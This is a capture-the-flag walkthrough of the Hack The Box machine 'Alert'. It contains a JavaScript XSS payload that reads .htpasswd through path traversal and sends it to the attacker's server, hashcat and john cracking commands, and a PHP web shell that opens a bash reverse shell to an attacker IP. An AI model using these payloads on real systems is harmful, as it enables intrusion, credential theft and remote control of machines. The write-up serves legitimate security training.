# Alert

<figure><img src="https://pbs.twimg.com/media/Gc7AkEGWoAMAlJo.jpg" alt=""><figcaption><p>Machine</p></figcaption></figure>

{% embed url="<https://www.hackthebox.com/machines/alert>" %}
Link
{% endembed %}

## Reconnaissance

### Nmap Scanning Process

{% hint style="info" %}
Nmap, a network discovery tool, involves several steps:

1. **Host Discovery**: Identify live hosts using ICMP, TCP, or UDP packets.
2. **Port Scanning**: Scan for open ports on discovered hosts.
3. **Service Detection**: Determine running services and versions on open ports.
4. **OS Detection**: Detect the operating system of remote hosts.
5. **Script Scanning**: Use Nmap scripts for tasks like vulnerability detection.
6. **Output Options**: Save results in various formats for analysis or reporting.
   {% endhint %}

These steps aid in mapping network topology and assessing security. The picture shows the machine has two open ports. <mark style="color:red;">**80 & 22**</mark>.

<figure><img src="https://1160714615-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSQLD7d7YuSCaHXDmYUeJ%2Fuploads%2F4GvQ8kv6SxkBWh57XDZM%2FScreenshot%202024-12-22%20at%2020.23.36.png?alt=media&#x26;token=87dee22f-5036-4875-85ea-b98a3450fab8" alt="" width="375"><figcaption><p>Result of Nmap</p></figcaption></figure>

* **Port 80**: This port is commonly used for HTTP (Hypertext Transfer Protocol) traffic, which forms the foundation of the web. It is the default port for web servers to accept requests from web browsers over an unencrypted connection.
* **Port 22**: Known as the default port for SSH (Secure Shell), it allows secure management and data transfer over unsecured networks. SSH is commonly used for remote server management and secure file transfers.

#### Subdomain Discovery Using Fuzzing Method

{% hint style="info" %}
The fuzzing method involves sending a series of test inputs to identify valid subdomains for a given domain. The `ffuf` (Fuzz Faster U Fool) tool can be used to automate this process by:

1. **Command Structure**: The basic command format includes the target domain, header options, and wordlist.
2. **URL and Header**: Specify the URL you are targeting and use the `-H` option to set a header with a placeholder (FUZZ) for potential subdomains.
3. **Wordlist**: Utilize a wordlist containing common subdomain names to systematically test each entry. The `-w` option specifies the path to this list.
4. **Status Code Filtering**: Use `-fc` to filter out certain HTTP status codes (e.g., 301) to focus on potential subdomains that yield different responses.

This fuzzy testing helps uncover hidden or unlisted subdomains by systematically trying each entry in the provided wordlist.
{% endhint %}

```bash
ffuf -c -u http://alert.htb -H "Host: FUZZ.alert.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fc 301
```

<figure><img src="https://1160714615-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSQLD7d7YuSCaHXDmYUeJ%2Fuploads%2FRupzWt9C0omIQPxCjrRK%2FScreenshot%202024-12-22%20at%2020.36.07.png?alt=media&#x26;token=cc4a1d34-7ae8-43da-8cd6-3a09670fd97e" alt="" width="375"><figcaption><p>Finding sub-domain by Fuzzing</p></figcaption></figure>

<mark style="color:red;">**<http://statistics.alert.htb>**</mark>**&#x20;-> Asked Username & Password**

<mark style="color:green;">**<http://alert.htb> -**</mark>**> Output below**

<figure><img src="https://1160714615-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSQLD7d7YuSCaHXDmYUeJ%2Fuploads%2FsIx3EPSTTtQNA1uIKUu1%2FScreenshot%202024-12-22%20at%2020.26.20.png?alt=media&#x26;token=60b354ba-18e0-4154-a15a-2b97522265dc" alt="" width="375"><figcaption><p>Web</p></figcaption></figure>

## Identifying Bugs

Through analysis, it is clear that the page accepts a markdown (.md) file as input and visualizes. After doing some tests on Burpsuite, I suspected the [`XXS injection`](https://owasp.org/www-community/attacks/xss/) and decided to try.

{% hint style="info" %}
**Burp Suite** is a powerful web vulnerability scanner and testing framework used primarily for assessing the security of web applications.
{% endhint %}

## Exploitation

Our payload will look like :clap:

**Hosting a Malicious Server**

```bash
python3 -m http.server 8888
```

**Malicious Markdown File (MD File)**

```html
<script>
fetch("http://alert.htb/messages.php?file=filepath")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.xx.xx:8888/?file_content=" + encodeURIComponent(data));
  });
</script>
//xx.xx => Should be replaced by your local IP
```

The application's LFI vulnerability was exploited when this file was uploaded in order to get private files and send their contents to my Python server. I received the vulnerable '*<mark style="color:red;">**filepath**</mark>*'.

To get the password of user, I accessed the [.htpasswd](https://www.nexcess.net/help/apache-htpasswd-file/)[ ](https://www.nexcess.net/help/apache-htpasswd-file/)vulnerable file from statistics subdomain, where it was initially asking user's username and password.

{% hint style="info" %}
**.htpasswd file, a flat-file used to store usernames and password for basic authentication on an Apache HTTP Server.**
{% endhint %}

```html
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.21.21:8888/?file_content=" + encodeURIComponent(data));
  });
</script>
```

<figure><img src="https://1160714615-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSQLD7d7YuSCaHXDmYUeJ%2Fuploads%2FufcLZ8UI9cBIl3lqjoK4%2FScreenshot%202024-12-22%20at%2021.17.11.png?alt=media&#x26;token=90411e0f-3d88-459a-ae82-768ee7ff4396" alt=""><figcaption><p>Uploading the payload</p></figcaption></figure>

* [x] After uploading it, go to the Share Markdown and copy the link goes : <http://alert.htb/visualizer.php?link\\_share=>....
* [x] Go back to the Contact Us page, fill out any email address, and paste the link in the message box.

<figure><img src="https://1160714615-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSQLD7d7YuSCaHXDmYUeJ%2Fuploads%2FEk4jMLEiDgvxeNRedq0D%2FScreenshot%202024-12-22%20at%2021.22.23.png?alt=media&#x26;token=b786e997-9304-42f7-95e5-67a02066af11" alt=""><figcaption><p>Triggering the exploit</p></figcaption></figure>

## User Flag

<figure><img src="https://1160714615-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSQLD7d7YuSCaHXDmYUeJ%2Fuploads%2FI5XOAdr332P0oL8PF7rv%2FScreenshot%202024-12-22%20at%2021.32.49.png?alt=media&#x26;token=5f57c908-a792-4531-97cd-a7fd3afa1737" alt=""><figcaption><p>Output</p></figcaption></figure>

So,  the <mark style="color:red;">encrypted password</mark> of the user will be:

```
%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A
```

Put it on the CyberChef and decode it by URL Decoding Recipe : [Result](https://gchq.github.io/CyberChef/#recipe=URL_Decode\(\)\&input=JTNDcHJlJTNFYWxiZXJ0JTNBJTI0YXByMSUyNGJNb1JCSk9nJTI0aWdHOFdCdFExeFlEVFFkTGpTV1pRJTJGJTBBJTNDJTJGcHJlJTNFJTBB)

```
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
username -> albert
encrypted password as a hash -> $apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
```

***

In order <mark style="color:green;">decrypt</mark> the password, we need to identify the type of hash. Here, I used [hashcat cheatsheet](https://hashcat.net/wiki/doku.php?id=example_hashes) and got it

| 1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) |
| ---- | ------------------------------------- |

{% hint style="info" %}
Hashcat is a powerful password recovery tool that supports many hashing algorithms and attack modes. It is known for its speed, versatility, and GPU acceleration, making it ideal for security testing and forensics.
{% endhint %}

```bash
hashcat -m 1600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
```

***

Since hashcat requires quite huge amount of memory, you can use [john the ripper tool](https://www.openwall.com/john/).

***

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash.txt
```

<figure><img src="https://1160714615-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSQLD7d7YuSCaHXDmYUeJ%2Fuploads%2FmA3IRdjpErSd6nTX1KOT%2FScreenshot%202024-12-22%20at%2022.02.43.png?alt=media&#x26;token=42cba250-f358-4736-b05f-090d99e3458a" alt="" width="375"><figcaption><p>Password of user</p></figcaption></figure>

BOOM!!!

Go login as a user and read the user.txt file.

```
ssh albert@10.10.11.44
```

## Root Flag

<mark style="color:red;">**Privilege Escalation**</mark>

{% hint style="info" %}
**LinPEAS.sh** is a script designed to enumerate possible paths to escalate privileges on Linux systems. It automates the process of searching for potential vulnerabilities and misconfigurations that could be exploited to gain higher-level access, making it a useful tool for system administrators and security professionals in identifying and mitigating risks.
{% endhint %}

<figure><img src="https://www.hyhforever.top/wp-content/uploads/2024/11/image-138.png" alt=""><figcaption></figcaption></figure>

<mark style="color:blue;">**Open port: 8080**</mark>

```bash
ssh -L 8080:127.0.0.1:8080 albert@alert.htb
```

<mark style="color:red;">**Testing the open port locally using ssh**</mark>

<figure><img src="https://www.hyhforever.top/wp-content/uploads/2024/11/image-139-1024x615.png" alt=""><figcaption><p>Accessing Locally</p></figcaption></figure>

The most interesting part is that the /opt directory has root permissions, providing a great opportunity to upload our shell and execute it from the browser.

{% stepper %}
{% step %}

### Create shell.php file

```php
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.**.**/4444 0>&1'"); ?>
```

{% endstep %}

{% step %}

### Insert the file into /opt/website-monitor/config directory

<figure><img src="https://www.hyhforever.top/wp-content/uploads/2024/11/image-140.png" alt=""><figcaption></figcaption></figure>
{% endstep %}

{% step %}

### Start netcat listener

```
nc -lnvp 4444
```

{% endstep %}

{% step %}

### Execute the shell from the port 8080

```
http://127.0.0.1:8080/config/shell.php
```

{% endstep %}
{% endstepper %}

The End!!! :end:

Thank you!!! :pray:

{% embed url="<https://www.hackthebox.com/achievement/machine/915327/636>" %}
